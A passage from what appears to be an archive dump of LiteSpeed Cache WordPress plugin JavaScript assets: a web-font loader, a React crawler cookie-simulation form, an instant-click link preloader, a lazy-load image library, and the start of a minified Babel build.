g,0<d.length&&(d=za[d[0]])&&(a.c[e]=d))}a.c[e]||(d=za[e])&&(a.c[e]=d);for(d=0;d<f.length;d+=1)a.a.push(new G(e,f[d]))}};function Ea(a,b){this.c=a;this.a=b}var Fa={Arimo:!0,Cousine:!0,Tinos:!0};Ea.prototype.load=function(a){var b=new B,c=this.c,d=new ta(this.a.api,this.a.text),e=this.a.families;va(d,e);var f=new ya(e);Da(f);z(c,wa(d),C(b));E(b,function(){a(f.a,f.c,Fa)})};function Ga(a,b){this.c=a;this.a=b}Ga.prototype.load=function(a){var b=this.a.id,c=this.c.o;b?A(this.c,(this.a.api||"https://use.typekit.net")+"/"+b+".js",function(b){if(b)a([]);else if(c.Typekit&&c.Typekit.config&&c.Typekit.config.fn){b=c.Typekit.config.fn;for(var e=[],f=0;f<b.length;f+=2)for(var g=b[f],m=b[f+1],h=0;h<m.length;h++)e.push(new G(g,m[h]));try{c.Typekit.load({events:!1,classes:!1,async:!0})}catch(l){}a(e)}},2E3):a([])};function Ha(a,b){this.c=a;this.f=b;this.a=[]}Ha.prototype.load=function(a){var b=this.f.id,c=this.c.o,d=this;b?(c.__webfontfontdeckmodule__||(c.__webfontfontdeckmodule__={}),c.__webfontfontdeckmodule__[b]=function(b,c){for(var g=0,m=c.fonts.length;g<m;++g){var h=c.fonts[g];d.a.push(new G(h.name,ga("font-weight:"+h.weight+";font-style:"+h.style)))}a(d.a)},A(this.c,(this.f.api||"https://f.fontdeck.com/s/css/js/")+ea(this.c)+"/"+b+".js",function(b){b&&a([])})):a([])};var Y=new oa(window);Y.a.c.custom=function(a,b){return new sa(b,a)};Y.a.c.fontdeck=function(a,b){return new Ha(b,a)};Y.a.c.monotype=function(a,b){return new ra(b,a)};Y.a.c.typekit=function(a,b){return new Ga(b,a)};Y.a.c.google=function(a,b){return new Ea(b,a)};var Z={load:p(Y.load,Y)};"function"===typeof define&&define.amd?define(function(){return Z}):"undefined"!==typeof module&&module.exports?module.exports=Z:(window.WebFont=Z,window.WebFontConfig&&Y.load(window.WebFontConfig));}());
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/component.crawler.js000064400000005664151031165260022216 0ustar00/**
 * Crawler simulation module
 * @author Hai Zheng
 */
class CrawlerSimulate extends React.Component {
	constructor(props) {
		super(props);
		this.state = {
			list: props.list,
		};

		this.handleInputChange = this.handleInputChange.bind(this);
		this.delRow = this.delRow.bind(this);
		this.addNew = this.addNew.bind(this);
	}

	handleInputChange(e, index) {
		const target = e.target;
		const value = target.type === 'checkbox' ? target.checked : target.value;
		const list = this.state.list;
		list[index][target.dataset.type] = value;

		this.setState({
			list: list,
		});
	}

	delRow(index) {
		const data = this.state.list;
		data.splice(index, 1);
		this.setState({ list: data });
	}

	addNew() {
		const list = this.state.list;
		list.push({ name: '', vals: '' });
		this.setState({ list: list });
	}

	render() {
		return (
			<React.Fragment>
				{this.state.list.map((item, i) => (
					<SimulationBlock item={item} key={i} index={i} handleInputChange={this.handleInputChange} delRow={this.delRow} />
				))}

				<p>
					<button type="button" className="button button-link litespeed-form-action litespeed-link-with-icon" onClick={this.addNew}>
						<span className="dashicons dashicons-plus-alt"></span>
						{litespeed_data['lang']['add_cookie_simulation_row']}
					</button>
				</p>
			</React.Fragment>
		);
	}
}

// { name: '', vals: '' }
class SimulationBlock extends React.Component {
	constructor(props) {
		super(props);

		this.handleInputChange = this.handleInputChange.bind(this);
		this.delRow = this.delRow.bind(this);
	}

	handleInputChange(e) {
		this.props.handleInputChange(e, this.props.index);
	}

	delRow() {
		this.props.delRow(this.props.index);
	}

	render() {
		const item = this.props.item;
		return (
			<div className="litespeed-block">
				<div className="litespeed-col-auto">
					<label className="litespeed-form-label">{litespeed_data['lang']['cookie_name']}</label>
					<input
						type="text"
						name={litespeed_data['ids']['crawler_cookies'] + '[name][]'}
						className="regular-text"
						value={item.name}
						data-type="name"
						onChange={this.handleInputChange}
					/>
				</div>
				<div className="litespeed-col-auto">
					<label className="litespeed-form-label">{litespeed_data['lang']['cookie_values']}</label>
					<textarea
						rows="5"
						cols="40"
						name={litespeed_data['ids']['crawler_cookies'] + '[vals][]'}
						placeholder={litespeed_data['lang']['one_per_line']}
						value={Array.isArray(item.vals) ? item.vals.join('\n') : item.vals}
						data-type="vals"
						onChange={this.handleInputChange}
					/>
				</div>
				<div className="litespeed-col-auto">
					<button type="button" className="button button-link litespeed-collection-button litespeed-danger" onClick={this.delRow}>
						<span className="dashicons dashicons-dismiss"></span>
						<span className="screen-reader-text">{litespeed_data['lang']['remove_cookie_simulation']}</span>
					</button>
				</div>
			</div>
		);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/instant_click.min.js000064400000011020151031165260022144 0ustar00let _chromiumMajorVersionInUserAgent=null,_speculationRulesType,_allowQueryString,_allowExternalLinks,_useWhitelist,_delayOnHover=65,_lastTouchstartEvent,_mouseoverTimer,_preloadedList=new Set;function init(){let e=document.createElement("link").relList,t=e.supports("prefetch")&&e.supports("modulepreload");if(!t)return;let n="instantVaryAccept"in document.body.dataset||"Shopify"in window,r=navigator.userAgent.indexOf("Chrome/");if(r>-1&&(_chromiumMajorVersionInUserAgent=parseInt(navigator.userAgent.substring(r+7))),n&&_chromiumMajorVersionInUserAgent&&_chromiumMajorVersionInUserAgent<110)return;if(_speculationRulesType="none",HTMLScriptElement.supports&&HTMLScriptElement.supports("speculationrules")){let s=document.body.dataset.instantSpecrules;"prerender"==s?_speculationRulesType="prerender":"no"!=s&&(_speculationRulesType="prefetch")}let i="instantMousedownShortcut"in document.body.dataset;_allowQueryString="instantAllowQueryString"in document.body.dataset,_allowExternalLinks="instantAllowExternalLinks"in document.body.dataset,_useWhitelist="instantWhitelist"in document.body.dataset;let o=!1,a=!1,l=!1;if("instantIntensity"in document.body.dataset){let u=document.body.dataset.instantIntensity;if("mousedown"!=u||i||(o=!0),"mousedown-only"!=u||i||(o=!0,a=!0),"viewport"==u){let c=document.documentElement.clientWidth*document.documentElement.clientHeight<45e4,d=navigator.connection&&navigator.connection.saveData,p=navigator.connection&&navigator.connection.effectiveType&&navigator.connection.effectiveType.includes("2g");!c||d||p||(l=!0)}"viewport-all"==u&&(l=!0);let h=parseInt(u);isNaN(h)||(_delayOnHover=h)}let m={capture:!0,passive:!0};if(a?document.addEventListener("touchstart",touchstartEmptyListener,m):document.addEventListener("touchstart",touchstartListener,m),o||document.addEventListener("mouseover",mouseoverListener,m),o&&document.addEventListener("mousedown",mousedownListener,m),i&&document.addEventListener("mousedown",mousedownShortcutListener,m),l){let f=window.requestIdleCallback;f||(f=e=>{e()}),f(function e(){let t=new IntersectionObserver(e=>{e.forEach(e=>{if(e.isIntersecting){let n=e.target;t.unobserve(n),preload(n.href)}})});document.querySelectorAll("a").forEach(e=>{isPreloadable(e)&&t.observe(e)})},{timeout:1500})}}function touchstartListener(e){_lastTouchstartEvent=e;let t=e.target.closest("a");isPreloadable(t)&&preload(t.href,"high")}function touchstartEmptyListener(e){_lastTouchstartEvent=e}function mouseoverListener(e){if(isEventLikelyTriggeredByTouch(e)||!("closest"in e.target))return;let t=e.target.closest("a");isPreloadable(t)&&(t.addEventListener("mouseout",mouseoutListener,{passive:!0}),_mouseoverTimer=setTimeout(()=>{preload(t.href,"high"),_mouseoverTimer=null},_delayOnHover))}function mousedownListener(e){if(isEventLikelyTriggeredByTouch(e))return;let t=e.target.closest("a");isPreloadable(t)&&preload(t.href,"high")}function mouseoutListener(e){(!e.relatedTarget||e.target.closest("a")!=e.relatedTarget.closest("a"))&&_mouseoverTimer&&(clearTimeout(_mouseoverTimer),_mouseoverTimer=null)}function mousedownShortcutListener(e){if(isEventLikelyTriggeredByTouch(e))return;let t=e.target.closest("a");if(e.which>1||e.metaKey||e.ctrlKey||!t)return;t.addEventListener("click",function(e){1337!=e.detail&&e.preventDefault()},{capture:!0,passive:!1,once:!0});let n=new MouseEvent("click",{view:window,bubbles:!0,cancelable:!1,detail:1337});t.dispatchEvent(n)}function isEventLikelyTriggeredByTouch(e){if(!_lastTouchstartEvent||!e||e.target!=_lastTouchstartEvent.target)return!1;let t=e.timeStamp,n=t-_lastTouchstartEvent.timeStamp;return n<2500}function isPreloadable(e){if(e&&e.href&&(!_useWhitelist||"instant"in e.dataset)&&(e.origin==location.origin||(_allowExternalLinks||"instant"in e.dataset)&&_chromiumMajorVersionInUserAgent)){if(["http:","https:"].includes(e.protocol)&&("http:"!=e.protocol||"https:"!=location.protocol)&&(_allowQueryString||!e.search||"instant"in e.dataset)&&(!e.hash||e.pathname+e.search!=location.pathname+location.search)&&!("noInstant"in e.dataset))return!0}}function preload(e,t="auto"){!_preloadedList.has(e)&&("none"!=_speculationRulesType?preloadUsingSpeculationRules(e):preloadUsingLinkElement(e,t),_preloadedList.add(e))}function preloadUsingSpeculationRules(e){let t=document.createElement("script");t.type="speculationrules",t.textContent=JSON.stringify({[_speculationRulesType]:[{source:"list",urls:[e]}]}),document.head.appendChild(t)}function preloadUsingLinkElement(e,t="auto"){let n=document.createElement("link");n.rel="prefetch",n.href=e,n.fetchPriority=t,n.as="document",document.head.appendChild(n)}init();
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/lazyload.min.js000064400000017531151031165260021153 0ustar00!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).LazyLoad=e()}(this,function(){"use strict";function e(){return(e=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n,a=arguments[e];for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(t[n]=a[n])}return t}).apply(this,arguments)}function o(t){return e({},at,t)}function l(t,e){return t.getAttribute(gt+e)}function c(t){return l(t,vt)}function s(t,e){return function(t,e,n){e=gt+e;null!==n?t.setAttribute(e,n):t.removeAttribute(e)}(t,vt,e)}function i(t){return s(t,null),0}function r(t){return null===c(t)}function u(t){return c(t)===_t}function d(t,e,n,a){t&&(void 0===a?void 0===n?t(e):t(e,n):t(e,n,a))}function f(t,e){et?t.classList.add(e):t.className+=(t.className?" ":"")+e}function _(t,e){et?t.classList.remove(e):t.className=t.className.replace(new RegExp("(^|\\s+)"+e+"(\\s+|$)")," ").replace(/^\s+/,"").replace(/\s+$/,"")}function g(t){return t.llTempImage}function v(t,e){!e||(e=e._observer)&&e.unobserve(t)}function b(t,e){t&&(t.loadingCount+=e)}function p(t,e){t&&(t.toLoadCount=e)}function n(t){for(var e,n=[],a=0;e=t.children[a];a+=1)"SOURCE"===e.tagName&&n.push(e);return n}function h(t,e){(t=t.parentNode)&&"PICTURE"===t.tagName&&n(t).forEach(e)}function a(t,e){n(t).forEach(e)}function m(t){return!!t[lt]}function E(t){return t[lt]}function I(t){return delete t[lt]}function y(e,t){var n;m(e)||(n={},t.forEach(function(t){n[t]=e.getAttribute(t)}),e[lt]=n)}function L(a,t){var o;m(a)&&(o=E(a),t.forEach(function(t){var e,n;e=a,(t=o[n=t])?e.setAttribute(n,t):e.removeAttribute(n)}))}function k(t,e,n){f(t,e.class_loading),s(t,st),n&&(b(n,1),d(e.callback_loading,t,n))}function A(t,e,n){n&&t.setAttribute(e,n)}function O(t,e){A(t,rt,l(t,e.data_sizes)),A(t,it,l(t,e.data_srcset)),A(t,ot,l(t,e.data_src))}function w(t,e,n){var a=l(t,e.data_bg_multi),o=l(t,e.data_bg_multi_hidpi);(a=nt&&o?o:a)&&(t.style.backgroundImage=a,n=n,f(t=t,(e=e).class_applied),s(t,dt),n&&(e.unobserve_completed&&v(t,e),d(e.callback_applied,t,n)))}function x(t,e){!e||0<e.loadingCount||0<e.toLoadCount||d(t.callback_finish,e)}function M(t,e,n){t.addEventListener(e,n),t.llEvLisnrs[e]=n}function N(t){return!!t.llEvLisnrs}function z(t){if(N(t)){var e,n,a=t.llEvLisnrs;for(e in a){var o=a[e];n=e,o=o,t.removeEventListener(n,o)}delete t.llEvLisnrs}}function C(t,e,n){var a;delete t.llTempImage,b(n,-1),(a=n)&&--a.toLoadCount,_(t,e.class_loading),e.unobserve_completed&&v(t,n)}function R(i,r,c){var l=g(i)||i;N(l)||function(t,e,n){N(t)||(t.llEvLisnrs={});var a="VIDEO"===t.tagName?"loadeddata":"load";M(t,a,e),M(t,"error",n)}(l,function(t){var e,n,a,o;n=r,a=c,o=u(e=i),C(e,n,a),f(e,n.class_loaded),s(e,ut),d(n.callback_loaded,e,a),o||x(n,a),z(l)},function(t){var e,n,a,o;n=r,a=c,o=u(e=i),C(e,n,a),f(e,n.class_error),s(e,ft),d(n.callback_error,e,a),o||x(n,a),z(l)})}function T(t,e,n){var a,o,i,r,c;t.llTempImage=document.createElement("IMG"),R(t,e,n),m(c=t)||(c[lt]={backgroundImage:c.style.backgroundImage}),i=n,r=l(a=t,(o=e).data_bg),c=l(a,o.data_bg_hidpi),(r=nt&&c?c:r)&&(a.style.backgroundImage='url("'.concat(r,'")'),g(a).setAttribute(ot,r),k(a,o,i)),w(t,e,n)}function G(t,e,n){var a;R(t,e,n),a=e,e=n,(t=Et[(n=t).tagName])&&(t(n,a),k(n,a,e))}function D(t,e,n){var a;a=t,(-1<It.indexOf(a.tagName)?G:T)(t,e,n)}function S(t,e,n){var a;t.setAttribute("loading","lazy"),R(t,e,n),a=e,(e=Et[(n=t).tagName])&&e(n,a),s(t,_t)}function V(t){t.removeAttribute(ot),t.removeAttribute(it),t.removeAttribute(rt)}function j(t){h(t,function(t){L(t,mt)}),L(t,mt)}function F(t){var e;(e=yt[t.tagName])?e(t):m(e=t)&&(t=E(e),e.style.backgroundImage=t.backgroundImage)}function P(t,e){var n;F(t),n=e,r(e=t)||u(e)||(_(e,n.class_entered),_(e,n.class_exited),_(e,n.class_applied),_(e,n.class_loading),_(e,n.class_loaded),_(e,n.class_error)),i(t),I(t)}function U(t,e,n,a){var o;n.cancel_on_exit&&(c(t)!==st||"IMG"===t.tagName&&(z(t),h(o=t,function(t){V(t)}),V(o),j(t),_(t,n.class_loading),b(a,-1),i(t),d(n.callback_cancel,t,e,a)))}function $(t,e,n,a){var o,i,r=(i=t,0<=bt.indexOf(c(i)));s(t,"entered"),f(t,n.class_entered),_(t,n.class_exited),o=t,i=a,n.unobserve_entered&&v(o,i),d(n.callback_enter,t,e,a),r||D(t,n,a)}function q(t){return t.use_native&&"loading"in HTMLImageElement.prototype}function H(t,o,i){t.forEach(function(t){return(a=t).isIntersecting||0<a.intersectionRatio?$(t.target,t,o,i):(e=t.target,n=t,a=o,t=i,void(r(e)||(f(e,a.class_exited),U(e,n,a,t),d(a.callback_exit,e,n,t))));var e,n,a})}function B(e,n){var t;tt&&!q(e)&&(n._observer=new IntersectionObserver(function(t){H(t,e,n)},{root:(t=e).container===document?null:t.container,rootMargin:t.thresholds||t.threshold+"px"}))}function J(t){return Array.prototype.slice.call(t)}function K(t){return t.container.querySelectorAll(t.elements_selector)}function Q(t){return c(t)===ft}function W(t,e){return e=t||K(e),J(e).filter(r)}function X(e,t){var n;(n=K(e),J(n).filter(Q)).forEach(function(t){_(t,e.class_error),i(t)}),t.update()}function t(t,e){var n,a,t=o(t);this._settings=t,this.loadingCount=0,B(t,this),n=t,a=this,Y&&window.addEventListener("online",function(){X(n,a)}),this.update(e)}var Y="undefined"!=typeof window,Z=Y&&!("onscroll"in window)||"undefined"!=typeof navigator&&/(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent),tt=Y&&"IntersectionObserver"in window,et=Y&&"classList"in document.createElement("p"),nt=Y&&1<window.devicePixelRatio,at={elements_selector:".lazy",container:Z||Y?document:null,threshold:300,thresholds:null,data_src:"src",data_srcset:"srcset",data_sizes:"sizes",data_bg:"bg",data_bg_hidpi:"bg-hidpi",data_bg_multi:"bg-multi",data_bg_multi_hidpi:"bg-multi-hidpi",data_poster:"poster",class_applied:"applied",class_loading:"litespeed-loading",class_loaded:"litespeed-loaded",class_error:"error",class_entered:"entered",class_exited:"exited",unobserve_completed:!0,unobserve_entered:!1,cancel_on_exit:!0,callback_enter:null,callback_exit:null,callback_applied:null,callback_loading:null,callback_loaded:null,callback_error:null,callback_finish:null,callback_cancel:null,use_native:!1},ot="src",it="srcset",rt="sizes",ct="poster",lt="llOriginalAttrs",st="loading",ut="loaded",dt="applied",ft="error",_t="native",gt="data-",vt="ll-status",bt=[st,ut,dt,ft],pt=[ot],ht=[ot,ct],mt=[ot,it,rt],Et={IMG:function(t,e){h(t,function(t){y(t,mt),O(t,e)}),y(t,mt),O(t,e)},IFRAME:function(t,e){y(t,pt),A(t,ot,l(t,e.data_src))},VIDEO:function(t,e){a(t,function(t){y(t,pt),A(t,ot,l(t,e.data_src))}),y(t,ht),A(t,ct,l(t,e.data_poster)),A(t,ot,l(t,e.data_src)),t.load()}},It=["IMG","IFRAME","VIDEO"],yt={IMG:j,IFRAME:function(t){L(t,pt)},VIDEO:function(t){a(t,function(t){L(t,pt)}),L(t,ht),t.load()}},Lt=["IMG","IFRAME","VIDEO"];return t.prototype={update:function(t){var e,n,a,o=this._settings,i=W(t,o);{if(p(this,i.length),!Z&&tt)return q(o)?(e=o,n=this,i.forEach(function(t){-1!==Lt.indexOf(t.tagName)&&S(t,e,n)}),void p(n,0)):(t=this._observer,o=i,t.disconnect(),a=t,void o.forEach(function(t){a.observe(t)}));this.loadAll(i)}},destroy:function(){this._observer&&this._observer.disconnect(),K(this._settings).forEach(function(t){I(t)}),delete this._observer,delete this._settings,delete this.loadingCount,delete this.toLoadCount},loadAll:function(t){var e=this,n=this._settings;W(t,n).forEach(function(t){v(t,e),D(t,n,e)})},restoreAll:function(){var e=this._settings;K(e).forEach(function(t){P(t,e)})}},t.load=function(t,e){e=o(e);D(t,e)},t.resetStatus=function(t){i(t)},t}),function(t,e){"use strict";function n(){e.body.classList.add("litespeed_lazyloaded")}function a(){console.log("[LiteSpeed] Start Lazy Load"),o=new LazyLoad(Object.assign({},t.lazyLoadOptions||{},{elements_selector:"[data-lazyloaded]",callback_finish:n})),i=function(){o.update()},t.MutationObserver&&new MutationObserver(i).observe(e.documentElement,{childList:!0,subtree:!0,attributes:!0})}var o,i;t.addEventListener?t.addEventListener("load",a,!1):t.attachEvent("onload",a)}(window,document);litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/babel.min.js000064400003011302151031165260020372 0ustar00!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.Babel=t():e.Babel=t()}(this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={exports:{},id:n,loaded:!1};return e[n].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var r={};return t.m=e,t.c=r,t.p="",t(0)}(function(e){for(var t in e)if(Object.prototype.hasOwnProperty.call(e,t))switch(typeof e[t]){case"function":break;case"object":e[t]=function(t){var r=t.slice(1),n=e[t[0]];return function(e,t,i){n.apply(this,[e,t,i].concat(r))}}(e[t]);break;default:e[t]=e[e[t]]}return e}([function(e,t,r){"use strict";function n(e,t){return g(t)&&"string"==typeof t[0]?e.hasOwnProperty(t[0])?[e[t[0]]].concat(t.slice(1)):void 0:"string"==typeof t?e[t]:t}function i(e){var t=(e.presets||[]).map(function(e){var t=n(E,e);if(!t)throw new Error('Invalid preset specified in Babel options: "'+e+'"');return g(t)&&"object"===h(t[0])&&t[0].hasOwnProperty("buildPreset")&&(t[0]=d({},t[0],{buildPreset:t[0].buildPreset})),t}),r=(e.plugins||[]).map(function(e){var t=n(b,e);if(!t)throw new Error('Invalid plugin specified in Babel options: "'+e+'"');return t});return d({babelrc:!1},e,{presets:t,plugins:r})}function s(e,t){return y.transform(e,i(t))}function a(e,t,r){return y.transformFromAst(e,t,i(r))}function o(e,t){b.hasOwnProperty(e)&&console.warn('A plugin named "'+e+'" is already registered, it will be overridden'),b[e]=t}function u(e){Object.keys(e).forEach(function(t){return o(t,e[t])})}function l(e,t){E.hasOwnProperty(e)&&console.warn('A preset named "'+e+'" is already registered, it will be overridden'),E[e]=t}function c(e){Object.keys(e).forEach(function(t){return l(t,e[t])})}function f(e){(0,v.runScripts)(s,e)}function p(){window.removeEventListener("DOMContentLoaded",f)}Object.defineProperty(t,"__esModule",{value:!0}),t.version=t.buildExternalHelpers=t.availablePresets=t.availablePlugins=void 0;var d=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},h="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t.transform=s,t.transformFromAst=a,t.registerPlugin=o,t.registerPlugins=u,t.registerPreset=l,t.registerPresets=c,t.transformScriptTags=f,t.disableScriptTags=p;var m=r(290),y=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(m),v=r(629),g=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)},b=t.availablePlugins={},E=t.availablePresets={};t.buildExternalHelpers=y.buildExternalHelpers;u({"check-es2015-constants":r(66),"external-helpers":r(322),"inline-replace-variables":r(323),"syntax-async-functions":r(67),"syntax-async-generators":r(195),"syntax-class-constructor-call":r(196),"syntax-class-properties":r(197),"syntax-decorators":r(125),"syntax-do-expressions":r(198),"syntax-exponentiation-operator":r(199),"syntax-export-extensions":r(200),"syntax-flow":r(126),"syntax-function-bind":r(201),"syntax-function-sent":r(325),"syntax-jsx":r(127),"syntax-object-rest-spread":r(202),"syntax-trailing-function-commas":r(128),"transform-async-functions":r(326),"transform-async-to-generator":r(129),"transform-async-to-module-method":r(328),"transform-class-constructor-call":r(203),"transform-class-properties":r(204),"transform-decorators":r(205),"transform-decorators-legacy":r(329).default,"transform-do-expressions":r(206),"transform-es2015-arrow-functions":r(68),"transform-es2015-block-scoped-functions":r(69),"transform-es2015-block-scoping":r(70),"transform-es2015-classes":r(71),"transform-es2015-computed-properties":r(72),"transform-es2015-destructuring":r(73),"transform-es2015-duplicate-keys":r(130),"transform-es2015-for-of":r(74),"transform-es2015-function-name":r(75),"transform-es2015-instanceof":r(332),"transform-es2015-literals":r(76),"transform-es2015-modules-amd":r(131),"transform-es2015-modules-commonjs":r(77),"transform-es2015-modules-systemjs":r(208),"transform-es2015-modules-umd":r(209),"transform-es2015-object-super":r(78),"transform-es2015-parameters":r(79),"transform-es2015-shorthand-properties":r(80),"transform-es2015-spread":r(81),"transform-es2015-sticky-regex":r(82),"transform-es2015-template-literals":r(83),"transform-es2015-typeof-symbol":r(84),"transform-es2015-unicode-regex":r(85),"transform-es3-member-expression-literals":r(336),"transform-es3-property-literals":r(337),"transform-es5-property-mutators":r(338),"transform-eval":r(339),"transform-exponentiation-operator":r(132),"transform-export-extensions":r(210),"transform-flow-comments":r(340),"transform-flow-strip-types":r(211),"transform-function-bind":r(212),"transform-jscript":r(341),"transform-object-assign":r(342),"transform-object-rest-spread":r(213),"transform-object-set-prototype-of-to-assign":r(343),"transform-proto-to-assign":r(344),"transform-react-constant-elements":r(345),"transform-react-display-name":r(214),"transform-react-inline-elements":r(346),"transform-react-jsx":r(215),"transform-react-jsx-compat":r(347),"transform-react-jsx-self":r(349),"transform-react-jsx-source":r(350),"transform-regenerator":r(86),"transform-runtime":r(353),"transform-strict-mode":r(216),"undeclared-variables-check":r(354)}),c({es2015:r(217),es2016:r(218),es2017:r(219),latest:r(356),react:r(357),"stage-0":r(358),"stage-1":r(220),"stage-2":r(221),"stage-3":r(222),"es2015-no-commonjs":{plugins:[r(83),r(76),r(75),r(68),r(69),r(71),r(78),r(80),r(72),r(74),r(82),r(85),r(66),r(81),r(79),r(73),r(70),r(84),[r(86),{async:!1,asyncGenerators:!1}]]},"es2015-loose":{plugins:[[r(83),{loose:!0}],r(76),r(75),r(68),r(69),[r(71),{loose:!0}],r(78),r(80),r(130),[r(72),{loose:!0}],[r(74),{loose:!0}],r(82),r(85),r(66),[r(81),{loose:!0}],r(79),[r(73),{loose:!0}],r(70),r(84),[r(77),{loose:!0}],[r(86),{async:!1,asyncGenerators:!1}]]}});t.version="6.26.0";"undefined"!=typeof window&&window&&window.addEventListener&&window.addEventListener("DOMContentLoaded",function(){return f()},!1)},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=z["is"+e];t||(t=z["is"+e]=function(t,r){return z.is(e,t,r)}),z["assert"+e]=function(r,n){if(n=n||{},!t(r,n))throw new Error("Expected type "+(0,I.default)(e)+" with option "+(0,I.default)(n))}}function s(e,t,r){return!!t&&(!!a(t.type,e)&&(void 0===r||z.shallowEqual(t,r)))}function a(e,t){if(e===t)return!0;if(z.ALIAS_KEYS[t])return!1;var r=z.FLIPPED_ALIAS_KEYS[t];if(r){if(r[0]===e)return!0;for(var n=r,i=Array.isArray(n),s=0,n=i?n:(0,T.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}if(e===a)return!0}}return!1}function o(e,t,r){if(e){var n=z.NODE_FIELDS[e.type];if(n){var i=n[t];i&&i.validate&&(i.optional&&null==r||i.validate(e,t,r))}}}function u(e,t){for(var r=(0,B.default)(t),n=r,i=Array.isArray(n),s=0,n=i?n:(0,T.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;if(e[o]!==t[o])return!1}return!0}function l(e,t,r){return e.object=z.memberExpression(e.object,e.property,e.computed),e.property=t,e.computed=!!r,e}function c(e,t){return e.object=z.memberExpression(t,e.object),e}function f(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"body";return e[t]=z.toBlock(e[t],e)}function p(e){if(!e)return e;var t={};for(var r in e)"_"!==r[0]&&(t[r]=e[r]);return t}function d(e){var t=p(e);return delete t.loc,t}function h(e){if(!e)return e;var t={};for(var r in e)if("_"!==r[0]){var n=e[r];n&&(n.type?n=z.cloneDeep(n):Array.isArray(n)&&(n=n.map(z.cloneDeep))),t[r]=n}return t}function m(e,t){var r=e.split(".");return function(e){if(!z.isMemberExpression(e))return!1;for(var n=[e],i=0;n.length;){var s=n.shift();if(t&&i===r.length)return!0;if(z.isIdentifier(s)){if(r[i]!==s.name)return!1}else{if(!z.isStringLiteral(s)){if(z.isMemberExpression(s)){if(s.computed&&!z.isStringLiteral(s.property))return!1;n.push(s.object),n.push(s.property);continue}return!1}if(r[i]!==s.value)return!1}if(++i>r.length)return!1}return!0}}function y(e){for(var t=z.COMMENT_KEYS,r=Array.isArray(t),n=0,t=r?t:(0,T.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}delete e[i]}return e}function v(e,t){return g(e,t),b(e,t),E(e,t),e}function g(e,t){x("trailingComments",e,t)}function b(e,t){x("leadingComments",e,t)}function E(e,t){x("innerComments",e,t)}function x(e,t,r){t&&r&&(t[e]=(0,K.default)([].concat(t[e],r[e]).filter(Boolean)))}function A(e,t){if(!e||!t)return e;for(var r=z.INHERIT_KEYS.optional,n=Array.isArray(r),i=0,r=n?r:(0,T.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;null==e[a]&&(e[a]=t[a])}for(var o in t)"_"===o[0]&&(e[o]=t[o]);for(var u=z.INHERIT_KEYS.force,l=Array.isArray(u),c=0,u=l?u:(0,T.default)(u);;){var f;if(l){if(c>=u.length)break;f=u[c++]}else{if(c=u.next(),c.done)break;f=c.value}var p=f;e[p]=t[p]}return z.inheritsComments(e,t),e}function S(e){if(!_(e))throw new TypeError("Not a valid node "+(e&&e.type))}function _(e){return!(!e||!H.VISITOR_KEYS[e.type])}function D(e,t,r){if(e){var n=z.VISITOR_KEYS[e.type];if(n){r=r||{},t(e,r);for(var i=n,s=Array.isArray(i),a=0,i=s?i:(0,T.default)(i);;){var o;if(s){if(a>=i.length)break;o=i[a++]}else{if(a=i.next(),a.done)break;o=a.value}var u=o,l=e[u];if(Array.isArray(l))for(var c=l,f=Array.isArray(c),p=0,c=f?c:(0,T.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d;D(h,t,r)}else D(l,t,r)}}}}function C(e,t){t=t||{};for(var r=t.preserveComments?Z:ee,n=r,i=Array.isArray(n),s=0,n=i?n:(0,T.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;null!=e[o]&&(e[o]=void 0)}for(var u in e)"_"===u[0]&&null!=e[u]&&(e[u]=void 0);for(var l=(0,k.default)(e),c=l,f=Array.isArray(c),p=0,c=f?c:(0,T.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}e[d]=null}}function w(e,t){return 